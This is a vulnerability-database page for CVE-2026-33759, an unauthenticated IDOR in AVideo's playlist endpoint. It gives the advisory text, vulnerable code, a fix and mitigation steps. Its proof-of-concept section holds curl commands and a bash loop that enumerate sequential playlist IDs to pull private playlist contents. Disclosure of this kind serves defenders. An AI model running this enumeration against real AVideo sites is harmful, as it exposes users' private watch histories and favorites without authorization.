NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-33759 — avideo

MEDIUMFix: WWBN/AVideo@bb716fb

CVE-2026-33759 is a medium-severity (CVSS 5.3) CWE-639 vulnerability in wwbn/avideo. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

AVideo: Unauthenticated IDOR in playlistsVideos.json.php Exposes Private Playlist Contents

Also known asGHSA-75qq-68m8-pvfr
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33759.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs34th percentile — riskier than 34% of all scored CVEsHighest risk
0.00%0.30%0.61%0.91%0.0%0.4%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The objects/playlistsVideos.json.php endpoint returns the full video contents of any playlist by ID without any authentication or authorization check. Private playlists (including watch_later and favorite types) are correctly hidden from listing endpoints via playlistsFromUser.json.php, but their contents are directly accessible through this endpoint by providing the sequential integer playlists_id parameter.

Details

The endpoint at objects/playlistsVideos.json.php accepts a playlists_id parameter and directly calls PlayList::getVideosFromPlaylist() with no ownership or visibility validation:

// objects/playlistsVideos.json.php:24-28
if (empty($_REQUEST['playlists_id'])) {
    die('Play List can not be empty');
}
require_once './playlist.php';
$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);

The getVideosFromPlaylist() method at objects/playlist.php:588 performs a SQL query joining playlists_has_videos, videos, and users tables with no authorization filter:

// objects/playlist.php:592-597
$sql = "SELECT v.*, p.*,v.created as cre, p.`order` as video_order  "
    . " FROM  playlists_has_videos p "
    . " LEFT JOIN videos as v ON videos_id = v.id "
    . " LEFT JOIN users u ON u.id = v.users_id "
    . " WHERE playlists_id = ? AND v.status != 'i' ";

In contrast, the listing endpoint playlistsFromUser.json.php correctly enforces visibility at lines 23-27:

// objects/playlistsFromUser.json.php:23-27
$publicOnly = true;
if (User::isLogged() && (User::getId() == $requestedUserId || User::isAdmin())) {
    $publicOnly = false;
}
$row = PlayList::getAllFromUser($requestedUserId, $publicOnly);

This creates a bypass: even though private playlists are hidden from listing, their contents are fully exposed via the videos endpoint. Playlist IDs are sequential integers, making enumeration trivial. The .htaccess rewrite at line 356 maps the clean URL playListsVideos.json to this endpoint.

PoC

Step 1: Enumerate playlist contents without authentication

# No cookies or auth headers needed. Increment playlists_id to enumerate.
curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=1" | python3 -m json.tool

Expected: Returns full video metadata array for playlist ID 1, including video titles, filenames, URLs, user info, comments, and subscriber counts.

Step 2: Enumerate private playlists (watch_later, favorite)

# Iterate through sequential IDs to find private playlists
for i in $(seq 1 50); do
  result=$(curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=$i")
  count=$(echo "$result" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
  if [ "$count" != "0" ] && [ -n "$count" ]; then
    echo "Playlist $i: $count videos"
  fi
done

Step 3: Confirm the listing endpoint correctly hides private playlists

# This correctly returns only public playlists for user 1
curl -s "http://TARGET/objects/playlistsFromUser.json.php?users_id=1" | python3 -m json.tool
# Compare: playlistsVideos.json.php returns contents of ALL playlists including private ones

Impact

An unauthenticated attacker can:

  • Enumerate all users' watch history by accessing watch_later playlist contents
  • Enumerate all users' favorites by accessing favorite playlist contents
  • Access unlisted/private custom playlists that were intentionally hidden from public view
  • Harvest video metadata including filenames, URLs, user information, and comments for videos in private playlists

This is a privacy violation that exposes user viewing habits and content preferences. The sequential integer IDs make bulk enumeration straightforward.

Recommended Fix

Add authorization checks to objects/playlistsVideos.json.php before returning playlist contents:

// objects/playlistsVideos.json.php — add after line 27, before getVideosFromPlaylist()
require_once $global['systemRootPath'] . 'plugin/PlayLists/PlayLists.php';

$pl = new PlayList($_REQUEST['playlists_id']);
$plStatus = $pl->getStatus();

// Public playlists are accessible to everyone
if ($plStatus !== 'public') {
    // Private, unlisted, watch_later, and favorite playlists require ownership or admin
    if (!User::isLogged() || (User::getId() != $pl->getUsers_id() && !User::isAdmin())) {
        header('HTTP/1.1 403 Forbidden');
        die(json_encode(['error' => 'You do not have permission to view this playlist']));
    }
}

$videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']);

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Affected Products

1 product · 1 configurations
Application
avideowwbn
≤ 26.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of wwbn/avideo for CVE-2026-33759. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary The `objects/playlistsVideos.json.php` endpoint returns the full video contents of any playlist by ID without any authentication or authorization check. Private playlists (including `watch_later` and `favorite` types) are correctly hidden from listing endpoints via `playlistsFromUser.json.php`, but their contents are directly accessible through this endpoint by providing the sequential integer `playlists_id` parameter. ## Details The endpoint at `objects/playlistsVideos.json.php` accepts a `playlists_id` parameter and directly calls `PlayList::getVideosFromPlaylist()` with no own
O3 Security · Impact-Aware SCA

Is CVE-2026-33759 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-33759: avideo (Medium 5.3)